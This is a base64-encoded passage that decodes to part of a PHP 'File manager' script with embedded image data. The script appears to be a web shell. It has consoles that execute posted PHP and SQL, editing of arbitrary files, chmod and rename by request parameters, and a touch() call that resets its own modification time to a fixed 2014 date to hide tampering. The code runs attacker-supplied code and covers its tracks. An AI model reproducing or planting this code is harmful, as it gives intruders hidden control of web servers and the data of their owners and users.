S2g1TzhrZ3FUWHFTN0pHOE5Ya2t4VE9sTE9XNWhDZXBrTHhNRFV6ZG16cWVGcHAySUcweVBUcTlNWU9Ta1pCeFFxb2hUWk8yWitwbjVtWjJ5NnhsaGJMK3hXNkx0eThlbFFmSmE3T1FyQVZaTFFxMlFxYm9WRm9vMXlvSHNtZGxWMmEvelluS09aYXJuaXZON2N5enl0dVFONXp2bi8vdEVzSVM0WksycFlaTFZ5MGRXT2E5ckdvNXNqeHhlZHNLNHhVRks0WldCcXc4dUlxMkttM1ZUNnZ0VjVldWZyMG1lazFyZ1Y3QnlvTEJ0UUZyNnd0VkN1V0ZmZXZjMSsxZFQxZ3ZXZCsxWWZxR25ScytGWW1LcmhUYkY1Y1ZmOWdvM0hqbEc0ZHZ5citaM0pTMHFhdkV1V1RQWnRKbTZlYmVMWjViRHBhcWwrYVhEbTROMmRxMERkOVd0TzMxOWtYYkw1Zk5LTnU3ZzdaRHVhTy9QTGk4WmFmSnpzMDdQMVNrVlBSVStsUTI3dExkdFdIWCtHN1I3aHQ3dlBZMDdOWGJXN3ozL1Q3SnZ0dFZBVlZOMVdiVlpmdEorN1AzUDY2SnF1bjRsdnR0WGExT2JYSHR4d1BTQS8wSEl3NjIxN25VMVIzU1BWUlNqOVlyNjBjT3h4KysvcDN2ZHkwTk5nMVZqWnpHNGlOd1JIbms2ZmNKMy9jZURUcmFkb3g3ck9FSDB4OTJIV2NkTDJwQ212S2FScHRUbXZ0YllsdTZUOHcrMGRicTNucjhSOXNmRDV3MFBGbDVTdk5VeVduYTZZTFRrMmZ5ejR5ZGxaMTlmaTc1M0dEYm9yWjc1MlBPMzJvUGIrKzZFSFRoMGtYL2krYzd2RHZPWFBLNGRQS3kyK1VUVjdoWG1xODZYMjNxZE9vOC9wUFRUOGU3bkx1YXJybGNhN251ZXIyMWUyYjM2UnVlTjg3ZDlMMTU4UmIvMXRXZU9UM2R2Zk42Yi9mRjkvWGZGdDErY2lmOXpzdTcyWGNuN3EyOFQ3eGY5RUR0UWRsRDNZZlZQMXYrM05qdjNIOXF3SGVnODlIY1IvY0doWVBQL3BIMWp3OURCWStaajh1R0RZYnJuamcrT1RuaVAzTDk2ZnluUTg5a3p5YWVGLzZpL3N1dUZ4WXZmdmpWNjlmTzBaalJvWmZ5bDVPL2JYeWwvZXJBNnhtdjI4YkN4aDYreVhnek1WNzBWdnZ0d1hmY2R4M3ZvOThQVCtSOElIOG8vMmo1c2ZWVDBLZjdreG1Uay84RUE1anovR016TGRzQUFBQUdZa3RIUkFEL0FQOEEvNkM5cDVNQUFBQUpjRWhaY3dBQUN4TUFBQXNUQVFDYW5CZ0FBQUFIZEVsTlJRZmNDQXdHTVRnNVhFRVRBQUFCOGtsRVFWUTR5M1dTTVcvVFFCaUduKys3c3gzWGRkTUFJbTBua0NvaFJRaUpEU0V4ZEFsL0FURXdJUEV6a0ZpWVlHUmx5TXlHeE1MRXhGaEJ5eTlBQ0FhYTBnWW5Eb2w5eDlEWWlWczQ2ZFBuay93Kzk5NzNuZ0RKL3Y3Kyt5QUlDaitmSTBIQS81WnpEdTg5emptT2pvNnlmci8vd0FKQnI5ZTdHNFloeFdTQ1JGSDkwMnFWWmRuWXgzRjhESVFXSU1zeTFwSUVYeFNvTWZWSjUwRmVES1VyY0djd0FWQ0FORTFwdFZxb0txcUtNYWIrcnZaaHZNYm4xeS93ZzZkSXRJYUlBR0FCVGs1T1NKSUU5UjRBRVVGVmNjN1ZQZjkyd1BidGxIejNDUnQranFwU08yaTMyOFJ4WE50ZWhZZ0lwclhPK09OenJsMytndEVBRVcwQ2hzTWhXWlkxN2w1RGpPWDAweHV1N296NUVUM2tVbWVqQnRlQVRxZERITWV3RUs5Q1BEQS9mTVZzNnhhYjIzdG5JdjJIZy9GNDNKeTQ5NGdOR0g1NFNmZkdCcWZyajBsYVMzSERRWnFtaEdHSVc4Uld4ZmZuK0R2MjUxdCt0ZS9SM2VuaEVVU1dWUU5Hb3hGNW51Tlh4S0tHcndmdkNIYnY0Szg4d21pSjZuS3dqUmlqS01JWVF6bWZJNHZvUklRaTN1WjM5ejVibTUwemFIWHE0djQxWURxZGdnaFNsb2h6QU15bU9kZHY3bUdNVUpabEk5WnF3RTBIcW9pMUYxNWhKVnJ0Q3hlK0FrZ1loZ1RXSXNaZ29nZ1J3VnA3WVdDcnl4aWpGV0F5R0F5ZUlWS29jeUxXMW8rbzZ1Y0w4SG1lejREeFgrOGRBTEc3TWVWVUFBQUFBRWxGVGtTdVFtQ0MiKTsNCn0NCjw/PWZtX2hvbWVfc3R5bGUoKT8+DQouaW1nIHsNCgliYWNrZ3JvdW5kLWltYWdlOiANCnVybCgiZGF0YTppbWFnZS9wbmc7YmFzZTY0LGlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFCQUFBQUFRQ0FNQUFBQW9MUTlUQUFBQUJHZEJUVUVBQUsvSU53V0s2UUFBQWRGUVRGUkY3ZTN0L2YzOXBKK2YrY0phalY4cTZlbnBrR0ltL3NGTy8rMk8zOTNjNXVibS9zeGJkMjl5aW1kbmVGZzY1T1RrMnpvWTZ1SGkxekFTMWNySnNIczJueWdvM05yYjJMQlhyWXRtMnA1QS8raFhwb1JxcEtPa3dyaTQ2K3ZyME1HMzZZc3o2dWpwbUk2QW56VXl3TCsvbVhWU21JQk44Ynd3ajFWQnlMR3phMVpKME5EUWpZU0IvOU5qd1o2Q3dVQXN4azBiclp5V3c3cG1HWjRBNkx0ZGtIZGYvK044eW93MjdiNVc4N1JOTFpMLzJiaVA3d0FBLy9HSmw1ZVg0TmZZc2FhTGdwNmgxYit0Lys2UjY4RmU4OXljaW1aZC91UXYzcjlOdXBDQjk5VjI1YTFjVkpiYm5IaE8vOHhTK01CYThmRHdpMkppNDhxaS8rcU9kVkl6czM0eC8vR09YSXpZcDVTUC9zeGdxcGlJY3ArL3NpUXBjbXBzdGF5c3pTQU51S0tUOVBUMDR1TGl3SWt5OExkRStzVld2cWFtOGUvdkw1SVorcmxIOGNOZzA4Q2N6N2FkOHZMeTlMdFUxcXlVdVo0K3I1MTIrOHMvd1VwTDNkM2R4N1cxZkdOYS84OVoyY2ZIK3M1bjZPam9iMVl0czdLejE5Zlh3SWc0cDFkTitQajR6TFIwKzhwZDdzdHJoS0FzLzloai85QlYxS3RmdExTMW5wMmRZbEpTWkZWVjVMUldoRUZCNXJoWi85SnEwSHRULy9DU2tJcUo2SzVEK0xOTmJsVlZ2ak0wNDdaTXo3ZTMxeEVHLy8vL3RLZ3U2d0FBQUp0MFVrNVQvLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vd0NWVnBLWUFBQUFHWFJGV0hSVGIyWjBkMkZ5WlFCQlpHOWlaU0JKYldGblpWSmxZV1I1Y2NsbFBBQUFBTlpKUkVGVUtGTmptS1dpUFFzWk1NeGltc3FQS3BBYjJNc0FaTmpMT3dremdnVm1KWW55cHMvUUU1OWVLQ0V0QmhhWUZSZmpadVRoSDI3bFk2a3FCeFlvclMvT01DNXdpSFprbDJRQ0NWVGtOK3RydEZqNFpTcE1tYXdERkJEMGxDb3luelpCbDFuSUpqNTVFbEJBMDlwZHZjOWJ1VDFTWUtZQld3MVFJQzBvTllzanJGSEpwU2t2UllzQktDQ2JNOUhMTjl0V3JicW5qVVVHWkcxQWhHdUlYWlJ6cFFsM2FHd0QyQjJjWloyekVvTDdXK3U2cXlBdW5aWElPTXZRckZ5a3F3VGlGekJRTk9YajRRS3pvQUt6YWp0WUlRd0FsdnRwbDNWNWM4TUFBQUFBU1VWT1JLNUNZSUk9Iik7DQp9DQpAbWVkaWEgc2NyZWVuIGFuZCAobWF4LXdpZHRoOjcyMHB4KXsNCiAgdGFibGV7ZGlzcGxheTpibG9jazt9DQogICAgI2ZtX3RhYmxlIHRke2Rpc3BsYXk6aW5saW5lO2Zsb2F0OmxlZnQ7fQ0KICAgICNmbV90YWJsZSB0Ym9keSB0ZDpmaXJzdC1jaGlsZHt3aWR0aDoxMDAlO3BhZGRpbmc6MDt9DQogICAgI2ZtX3RhYmxlIHRib2R5IHRyOm50aC1jaGlsZCgybisxKXtiYWNrZ3JvdW5kLWNvbG9yOiNFRkVGRUY7fQ0KICAgICNmbV90YWJsZSB0Ym9keSB0cjpudGgtY2hpbGQoMm4pe2JhY2tncm91bmQtY29sb3I6I0RFRTNFNzt9DQogICAgI2ZtX3RhYmxlIHRye2Rpc3BsYXk6YmxvY2s7ZmxvYXQ6bGVmdDtjbGVhcjpsZWZ0O3dpZHRoOjEwMCU7fQ0KCSNoZWFkZXJfdGFibGUgLnJvdzIsICNoZWFkZXJfdGFibGUgLnJvdzMge2Rpc3BsYXk6aW5saW5lO2Zsb2F0OmxlZnQ7d2lkdGg6MTAwJTtwYWRkaW5nOjA7fQ0KCSNoZWFkZXJfdGFibGUgdGFibGUgdGQge2Rpc3BsYXk6aW5saW5lO2Zsb2F0OmxlZnQ7fQ0KfQ0KPC9zdHlsZT4NCjwvaGVhZD4NCjxib2R5Pg0KPD9waHANCiR1cmxfaW5jID0gJz9mbT10cnVlJzsNCmlmIChpc3NldCgkX1BPU1RbJ3NxbHJ1biddKSYmIWVtcHR5KCRmbV9jb25maWdbJ2VuYWJsZV9zcWxfY29uc29sZSddKSl7DQoJJHJlcyA9IGVtcHR5KCRfUE9TVFsnc3FsJ10pID8gJycgOiAkX1BPU1RbJ3NxbCddOw0KCSRyZXNfbG5nID0gJ3NxbCc7DQp9IGVsc2VpZiAoaXNzZXQoJF9QT1NUWydwaHBydW4nXSkmJiFlbXB0eSgkZm1fY29uZmlnWydlbmFibGVfcGhwX2NvbnNvbGUnXSkpew0KCSRyZXMgPSBlbXB0eSgkX1BPU1RbJ3BocCddKSA/ICcnIDogJF9QT1NUWydwaHAnXTsNCgkkcmVzX2xuZyA9ICdwaHAnOw0KfSANCmlmIChpc3NldCgkX0dFVFsnZm1fc2V0dGluZ3MnXSkpIHsNCgllY2hvICcgDQo8dGFibGUgY2xhc3M9Indob2xlIj4NCjxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSIiPg0KPHRyPjx0aCBjb2xzcGFuPSIyIj4nLl9fKCdGaWxlIG1hbmFnZXInKS4nIC0gJy5fXygnU2V0dGluZ3MnKS4nPC90aD48L3RyPg0KJy4oZW1wdHkoJG1zZ19udGltZXMpPycnOic8dHI+PHRkIGNsYXNzPSJyb3cyIiBjb2xzcGFuPSIyIj4nLiRtc2dfbnRpbWVzLic8L3RkPjwvdHI+JykuJw0KJy5mbV9jb25maWdfY2hlY2tib3hfcm93KF9fKCdTaG93IHNpemUgb2YgdGhlIGZvbGRlcicpLCdzaG93X2Rpcl9zaXplJykuJw0KJy5mbV9jb25maWdfY2hlY2tib3hfcm93KF9fKCdTaG93JykuJyAnLl9fKCdwaWN0dXJlcycpLCdzaG93X2ltZycpLicNCicuZm1fY29uZmlnX2NoZWNrYm94X3JvdyhfXygnU2hvdycpLicgJy5fXygnTWFrZSBkaXJlY3RvcnknKSwnbWFrZV9kaXJlY3RvcnknKS4nDQonLmZtX2NvbmZpZ19jaGVja2JveF9yb3coX18oJ1Nob3cnKS4nICcuX18oJ05ldyBmaWxlJyksJ25ld19maWxlJykuJw0KJy5mbV9jb25maWdfY2hlY2tib3hfcm93KF9fKCdTaG93JykuJyAnLl9fKCdVcGxvYWQnKSwndXBsb2FkX2ZpbGUnKS4nDQonLmZtX2NvbmZpZ19jaGVja2JveF9yb3coX18oJ1Nob3cnKS4nIFBIUCB2ZXJzaW9uJywnc2hvd19waHBfdmVyJykuJw0KJy5mbV9jb25maWdfY2hlY2tib3hfcm93KF9fKCdTaG93JykuJyBQSFAgaW5pJywnc2hvd19waHBfaW5pJykuJw0KJy5mbV9jb25maWdfY2hlY2tib3hfcm93KF9fKCdTaG93JykuJyAnLl9fKCdHZW5lcmF0aW9uIHRpbWUnKSwnc2hvd19ndCcpLicNCicuZm1fY29uZmlnX2NoZWNrYm94X3JvdyhfXygnU2hvdycpLicgeGxzJywnc2hvd194bHMnKS4nDQonLmZtX2NvbmZpZ19jaGVja2JveF9yb3coX18oJ1Nob3cnKS4nIFBIUCAnLl9fKCdDb25zb2xlJyksJ2VuYWJsZV9waHBfY29uc29sZScpLicNCicuZm1fY29uZmlnX2NoZWNrYm94X3JvdyhfXygnU2hvdycpLicgU1FMICcuX18oJ0NvbnNvbGUnKSwnZW5hYmxlX3NxbF9jb25zb2xlJykuJw0KPHRyPjx0ZCBjbGFzcz0icm93MSI+PGlucHV0IG5hbWU9ImZtX2NvbmZpZ1tzcWxfc2VydmVyXSIgdmFsdWU9IicuJGZtX2NvbmZpZ1snc3FsX3NlcnZlciddLiciIHR5cGU9InRleHQiPjwvdGQ+PHRkIGNsYXNzPSJyb3cyIHdob2xlIj5TUUwgc2VydmVyPC90ZD48L3RyPg0KPHRyPjx0ZCBjbGFzcz0icm93MSI+PGlucHV0IG5hbWU9ImZtX2NvbmZpZ1tzcWxfdXNlcm5hbWVdIiB2YWx1ZT0iJy4kZm1fY29uZmlnWydzcWxfdXNlcm5hbWUnXS4nIiB0eXBlPSJ0ZXh0Ij48L3RkPjx0ZCBjbGFzcz0icm93MiB3aG9sZSI+U1FMIHVzZXI8L3RkPjwvdHI+DQo8dHI+PHRkIGNsYXNzPSJyb3cxIj48aW5wdXQgbmFtZT0iZm1fY29uZmlnW3NxbF9wYXNzd29yZF0iIHZhbHVlPSInLiRmbV9jb25maWdbJ3NxbF9wYXNzd29yZCddLiciIHR5cGU9InRleHQiPjwvdGQ+PHRkIGNsYXNzPSJyb3cyIHdob2xlIj5TUUwgcGFzc3dvcmQ8L3RkPjwvdHI+DQo8dHI+PHRkIGNsYXNzPSJyb3cxIj48aW5wdXQgbmFtZT0iZm1fY29uZmlnW3NxbF9kYl0iIHZhbHVlPSInLiRmbV9jb25maWdbJ3NxbF9kYiddLiciIHR5cGU9InRleHQiPjwvdGQ+PHRkIGNsYXNzPSJyb3cyIHdob2xlIj5TUUwgREI8L3RkPjwvdHI+DQonLmZtX2NvbmZpZ19jaGVja2JveF9yb3coX18oJ1Nob3cnKS4nIFByb3h5JywnZW5hYmxlX3Byb3h5JykuJw0KJy5mbV9jb25maWdfY2hlY2tib3hfcm93KF9fKCdTaG93JykuJyBwaHBpbmZvKCknLCdzaG93X3BocGluZm8nKS4nDQonLmZtX2NvbmZpZ19jaGVja2JveF9yb3coX18oJ1Nob3cnKS4nICcuX18oJ1NldHRpbmdzJyksJ2ZtX3NldHRpbmdzJykuJw0KJy5mbV9jb25maWdfY2hlY2tib3hfcm93KF9fKCdSZXN0b3JlIGZpbGUgdGltZSBhZnRlciBlZGl0aW5nJyksJ3Jlc3RvcmVfdGltZScpLicNCicuZm1fY29uZmlnX2NoZWNrYm94X3JvdyhfXygnRmlsZSBtYW5hZ2VyJykuJzogJy5fXygnUmVzdG9yZSBmaWxlIHRpbWUgYWZ0ZXIgZWRpdGluZycpLCdmbV9yZXN0b3JlX3RpbWUnKS4nDQo8dHI+PHRkIGNsYXNzPSJyb3czIj48YSBocmVmPSInLmZtX3VybCgpLic/Zm1fc2V0dGluZ3M9dHJ1ZSZmbV9jb25maWdfZGVsZXRlPXRydWUiPicuX18oJ1Jlc2V0IHNldHRpbmdzJykuJzwvYT48L3RkPjx0ZCBjbGFzcz0icm93MyI+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IicuX18oJ1NhdmUnKS4nIiBuYW1lPSJmbV9jb25maWdbZm1fc2V0X3N1Ym1pdF0iPjwvdGQ+PC90cj4NCjwvZm9ybT4NCjwvdGFibGU+DQo8dGFibGU+DQo8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iIj4NCjx0cj48dGggY29sc3Bhbj0iMiI+Jy5fXygnU2V0dGluZ3MnKS4nIC0gJy5fXygnQXV0aG9yaXphdGlvbicpLic8L3RoPjwvdHI+DQo8dHI+PHRkIGNsYXNzPSJyb3cxIj48aW5wdXQgbmFtZT0iZm1fbG9naW5bYXV0aG9yaXplXSIgdmFsdWU9IjEiICcuKCRhdXRoWydhdXRob3JpemUnXT8nY2hlY2tlZCc6JycpLicgdHlwZT0iY2hlY2tib3giIGlkPSJhdXRoIj48L3RkPjx0ZCBjbGFzcz0icm93MiB3aG9sZSI+PGxhYmVsIGZvcj0iYXV0aCI+Jy5fXygnQXV0aG9yaXphdGlvbicpLic8L2xhYmVsPjwvdGQ+PC90cj4NCjx0cj48dGQgY2xhc3M9InJvdzEiPjxpbnB1dCBuYW1lPSJmbV9sb2dpbltsb2dpbl0iIHZhbHVlPSInLiRhdXRoWydsb2dpbiddLiciIHR5cGU9InRleHQiPjwvdGQ+PHRkIGNsYXNzPSJyb3cyIHdob2xlIj4nLl9fKCdMb2dpbicpLic8L3RkPjwvdHI+DQo8dHI+PHRkIGNsYXNzPSJyb3cxIj48aW5wdXQgbmFtZT0iZm1fbG9naW5bcGFzc3dvcmRdIiB2YWx1ZT0iJy4kYXV0aFsncGFzc3dvcmQnXS4nIiB0eXBlPSJ0ZXh0Ij48L3RkPjx0ZCBjbGFzcz0icm93MiB3aG9sZSI+Jy5fXygnUGFzc3dvcmQnKS4nPC90ZD48L3RyPg0KPHRyPjx0ZCBjbGFzcz0icm93MSI+PGlucHV0IG5hbWU9ImZtX2xvZ2luW2Nvb2tpZV9uYW1lXSIgdmFsdWU9IicuJGF1dGhbJ2Nvb2tpZV9uYW1lJ10uJyIgdHlwZT0idGV4dCI+PC90ZD48dGQgY2xhc3M9InJvdzIgd2hvbGUiPicuX18oJ0Nvb2tpZScpLic8L3RkPjwvdHI+DQo8dHI+PHRkIGNsYXNzPSJyb3cxIj48aW5wdXQgbmFtZT0iZm1fbG9naW5bZGF5c19hdXRob3JpemF0aW9uXSIgdmFsdWU9IicuJGF1dGhbJ2RheXNfYXV0aG9yaXphdGlvbiddLiciIHR5cGU9InRleHQiPjwvdGQ+PHRkIGNsYXNzPSJyb3cyIHdob2xlIj4nLl9fKCdEYXlzJykuJzwvdGQ+PC90cj4NCjx0cj48dGQgY2xhc3M9InJvdzEiPjx0ZXh0YXJlYSBuYW1lPSJmbV9sb2dpbltzY3JpcHRdIiBjb2xzPSIzNSIgcm93cz0iNyIgY2xhc3M9InRleHRhcmVhX2lucHV0IiBpZD0iYXV0aF9zY3JpcHQiPicuJGF1dGhbJ3NjcmlwdCddLic8L3RleHRhcmVhPjwvdGQ+PHRkIGNsYXNzPSJyb3cyIHdob2xlIj4nLl9fKCdTY3JpcHQnKS4nPC90ZD48L3RyPg0KPHRyPjx0ZCBjb2xzcGFuPSIyIiBjbGFzcz0icm93MyI+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IicuX18oJ1NhdmUnKS4nIiA+PC90ZD48L3RyPg0KPC9mb3JtPg0KPC90YWJsZT4nOw0KZWNobyBmbV90cGxfZm9ybSgncGhwJyksZm1fdHBsX2Zvcm0oJ3NxbCcpOw0KfSBlbHNlaWYgKGlzc2V0KCRwcm94eV9mb3JtKSkgew0KCWRpZSgkcHJveHlfZm9ybSk7DQp9IGVsc2VpZiAoaXNzZXQoJHJlc19sbmcpKSB7CQ0KPz4NCjx0YWJsZSBjbGFzcz0id2hvbGUiPg0KPHRyPg0KICAgIDx0aD48Pz1fXygnRmlsZSBtYW5hZ2VyJykuJyAtICcuJHBhdGg/PjwvdGg+DQo8L3RyPg0KDQo8L3RhYmxlPg0KPD9waHANCglpZiAoIWVtcHR5KCRyZXMpKSB7DQoJCSRmdW49J2ZtXycuJHJlc19sbmc7DQoJCWVjaG8gJzxoMz4nLnN0cnRvdXBwZXIoJHJlc19sbmcpLicgJy5fXygnUmVzdWx0JykuJzwvaDM+PHByZT4nLiRmdW4oJHJlcykuJzwvcHJlPic7DQoJfQ0KfSBlbHNlaWYgKCFlbXB0eSgkX1JFUVVFU1RbJ2VkaXQnXSkpew0KCWlmKCFlbXB0eSgkX1JFUVVFU1RbJ3NhdmUnXSkpIHsNCgkJJGZuID0gJHBhdGggLiAkX1JFUVVFU1RbJ2VkaXQnXTsNCgkJJGZpbGVtdGltZSA9IGZpbGVtdGltZSgkZm4pOw0KCSAgICBpZiAoZmlsZV9wdXRfY29udGVudHMoJGZuLCAkX1JFUVVFU1RbJ25ld2NvbnRlbnQnXSkpICRtc2dfbnRpbWVzIC49IF9fKCdGaWxlIHVwZGF0ZWQnKTsNCgkJZWxzZSAkbXNnX250aW1lcyAuPSBfXygnRXJyb3Igb2NjdXJyZWQnKTsNCgkJaWYgKCRfR0VUWydlZGl0J109PWJhc2VuYW1lKF9fRklMRV9fKSkgew0KCQkJdG91Y2goX19GSUxFX18sMTQxNTExNjM3MSk7DQoJCX0gZWxzZSB7DQoJCQlpZiAoIWVtcHR5KCRmbV9jb25maWdbJ3Jlc3RvcmVfdGltZSddKSkgdG91Y2goJGZuLCRmaWxlbXRpbWUpOw0KCQl9DQoJfQ0KICAgICRvbGRjb250ZW50ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRwYXRoIC4gJF9SRVFVRVNUWydlZGl0J10pOw0KICAgICRlZGl0bGluayA9ICR1cmxfaW5jIC4gJyZlZGl0PScgLiAkX1JFUVVFU1RbJ2VkaXQnXSAuICcmcGF0aD0nIC4gJHBhdGg7DQogICAgJGJhY2tsaW5rID0gJHVybF9pbmMgLiAnJnBhdGg9JyAuICRwYXRoOw0KPz4NCjx0YWJsZSBib3JkZXI9JzAnIGNlbGxzcGFjaW5nPScwJyBjZWxscGFkZGluZz0nMScgd2lkdGg9IjEwMCUiPg0KPHRyPg0KICAgIDx0aD48Pz1fXygnRmlsZSBtYW5hZ2VyJykuJyAtICcuX18oJ0VkaXQnKS4nIC0gJy4kcGF0aC4kX1JFUVVFU1RbJ2VkaXQnXT8+PC90aD4NCjwvdHI+DQo8dHI+DQogICAgPHRkIGNsYXNzPSJyb3cxIj4NCiAgICAgICAgPD89JG1zZ19udGltZXM/Pg0KCTwvdGQ+DQo8L3RyPg0KPHRyPg0KICAgIDx0ZCBjbGFzcz0icm93MSI+DQogICAgICAgIDw/PWZtX2hvbWUoKT8+IDxhIGhyZWY9Ijw/PSRiYWNrbGluaz8+Ij48Pz1fXygnQmFjaycpPz48L2E+DQoJPC90ZD4NCjwvdHI+DQo8dHI+DQogICAgPHRkIGNsYXNzPSJyb3cxIiBhbGlnbj0iY2VudGVyIj4NCiAgICAgICAgPGZvcm0gbmFtZT0iZm9ybTEiIG1ldGhvZD0icG9zdCIgYWN0aW9uPSI8Pz0kZWRpdGxpbms/PiI+DQogICAgICAgICAgICA8dGV4dGFyZWEgbmFtZT0ibmV3Y29udGVudCIgaWQ9Im5ld2NvbnRlbnQiIGNvbHM9IjQ1IiByb3dzPSIxNSIgc3R5bGU9IndpZHRoOjk5JSIgc3BlbGxjaGVjaz0iZmFsc2UiPjw/PWh0bWxzcGVjaWFsY2hhcnMoJG9sZGNvbnRlbnQpPz48L3RleHRhcmVhPg0KICAgICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ic2F2ZSIgdmFsdWU9Ijw/PV9fKCdTdWJtaXQnKT8+Ij4NCiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImNhbmNlbCIgdmFsdWU9Ijw/PV9fKCdDYW5jZWwnKT8+Ij4NCiAgICAgICAgPC9mb3JtPg0KICAgIDwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCjw/cGhwDQplY2hvICRhdXRoWydzY3JpcHQnXTsNCn0gZWxzZWlmKCFlbXB0eSgkX1JFUVVFU1RbJ3JpZ2h0cyddKSl7DQoJaWYoIWVtcHR5KCRfUkVRVUVTVFsnc2F2ZSddKSkgew0KCSAgICBpZihmbV9jaG1vZCgkcGF0aCAuICRfUkVRVUVTVFsncmlnaHRzJ10sIGZtX2NvbnZlcnRfcmlnaHRzKCRfUkVRVUVTVFsncmlnaHRzX3ZhbCddKSwgQCRfUkVRVUVTVFsncmVjdXJzaXZlbHknXSkpDQoJCSRtc2dfbnRpbWVzIC49IChfXygnRmlsZSB1cGRhdGVkJykpOyANCgkJZWxzZSAkbXNnX250aW1lcyAuPSAoX18oJ0Vycm9yIG9jY3VycmVkJykpOw0KCX0NCgljbGVhcnN0YXRjYWNoZSgpOw0KICAgICRvbGRyaWdodHMgPSBmbV9yaWdodHNfc3RyaW5nKCRwYXRoIC4gJF9SRVFVRVNUWydyaWdodHMnXSwgdHJ1ZSk7DQogICAgJGxpbmsgPSAkdXJsX2luYyAuICcmcmlnaHRzPScgLiAkX1JFUVVFU1RbJ3JpZ2h0cyddIC4gJyZwYXRoPScgLiAkcGF0aDsNCiAgICAkYmFja2xpbmsgPSAkdXJsX2luYyAuICcmcGF0aD0nIC4gJHBhdGg7DQo/Pg0KPHRhYmxlIGNsYXNzPSJ3aG9sZSI+DQo8dHI+DQogICAgPHRoPjw/PV9fKCdGaWxlIG1hbmFnZXInKS4nIC0gJy4kcGF0aD8+PC90aD4NCjwvdHI+DQo8dHI+DQogICAgPHRkIGNsYXNzPSJyb3cxIj4NCiAgICAgICAgPD89JG1zZ19udGltZXM/Pg0KCTwvdGQ+DQo8L3RyPg0KPHRyPg0KICAgIDx0ZCBjbGFzcz0icm93MSI+DQogICAgICAgIDxhIGhyZWY9Ijw/PSRiYWNrbGluaz8+Ij48Pz1fXygnQmFjaycpPz48L2E+DQoJPC90ZD4NCjwvdHI+DQo8dHI+DQogICAgPHRkIGNsYXNzPSJyb3cxIiBhbGlnbj0iY2VudGVyIj4NCiAgICAgICAgPGZvcm0gbmFtZT0iZm9ybTEiIG1ldGhvZD0icG9zdCIgYWN0aW9uPSI8Pz0kbGluaz8+Ij4NCiAgICAgICAgICAgPD89X18oJ1JpZ2h0cycpLicgLSAnLiRfUkVRVUVTVFsncmlnaHRzJ10/PiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0icmlnaHRzX3ZhbCIgdmFsdWU9Ijw/PSRvbGRyaWdodHM/PiI+DQogICAgICAgIDw/cGhwIGlmIChpc19kaXIoJHBhdGguJF9SRVFVRVNUWydyaWdodHMnXSkpIHsgPz4NCiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0icmVjdXJzaXZlbHkiIHZhbHVlPSIxIj4gPD89X18oJ1JlY3Vyc2l2ZWx5Jyk/Pjxici8+DQogICAgICAgIDw/cGhwIH0gPz4NCiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InNhdmUiIHZhbHVlPSI8Pz1fXygnU3VibWl0Jyk/PiI+DQogICAgICAgIDwvZm9ybT4NCiAgICA8L3RkPg0KPC90cj4NCjwvdGFibGU+DQo8P3BocA0KfSBlbHNlaWYgKCFlbXB0eSgkX1JFUVVFU1RbJ3JlbmFtZSddKSYmJF9SRVFVRVNUWydyZW5hbWUnXTw+Jy4nKSB7DQoJaWYoIWVtcHR5KCRfUkVRVUVTVFsnc2F2ZSddKSkgew0KCSAgICByZW5hbWUoJHBhdGggLiAkX1JFUVVFU1RbJ3JlbmFtZSddLCAkcGF0aCAuICRfUkVRVUVTVFsnbmV3bmFtZSddKTsNCgkJJG1zZ19udGltZXMgLj0gKF9fKCdGaWxlIHVwZGF0ZWQnKSk7DQoJCSRfUkVRVUVTVFsncmVuYW1lJ10gPSAkX1JFUVVFU1RbJ25ld25hbWUnXTsNCgl9DQoJY2xlYXJzdGF0Y2FjaGUoKTsNCiAgICAkbGluayA9ICR1cmxfaW5jIC4gJyZyZW5hbWU9JyAuICRfUkVRVUVTVFsncmVuYW1lJ10gLiAnJnBhdGg9JyAuICRwYXRoOw0KICAgICRiYWNrbGluayA9ICR1cmxfaW5jIC4gJyZwYXRoPScgLiAkcGF0aDsNCg0KPz4NCjx0YWJsZSBjbGFzcz0id2hvbGUiPg0KPHRyPg0KICAgIDx0aD48Pz1fXygnRmlsZSBtYW5hZ2VyJykuJyAtICcuJHBhdGg/PjwvdGg+DQo8L3RyPg0KPHRyPg0KICAgIDx0ZCBjbGFzcz0icm93MSI+DQogICAgICAgIDw/PSRtc2dfbnRpbWVzPz4NCgk8L3RkPg0KPC90cj4NCjx0cj4NCiAgICA8dGQgY2xhc3M9InJvdzEiPg0KICAgICAgICA8YSBocmVmPSI8Pz0kYmFja2xpbms/PiI+PD89X18oJ0JhY2snKT8+PC9hPg0KCTwvdGQ+DQo8L3RyPg0KPHRyPg0KICAgIDx0ZCBjbGFzcz0icm93MSIgYWxpZ249ImNlbnRlciI+DQogICAgICAgIDxmb3JtIG5hbWU9ImZvcm0xIiBtZXRob2Q9InBvc3QiIGFjdGlvbj0iPD89JGxpbms/PiI+DQogICAgICAgICAgICA8Pz1fXygnUmVuYW1lJyk/PjogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im5ld25hbWUiIHZhbHVlPSI8Pz0kX1JFUVVFU1RbJ3JlbmFtZSddPz4iPjxici8+DQogICAgICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzYXZlIiB2YWx1ZT0iPD89X18oJ1N1Ym1pdCcpPz4iPg0KICAgICAgICA8L2Zvcm0+DQogICAgPC90ZD4NCjwvdHI+DQo8L3RhYm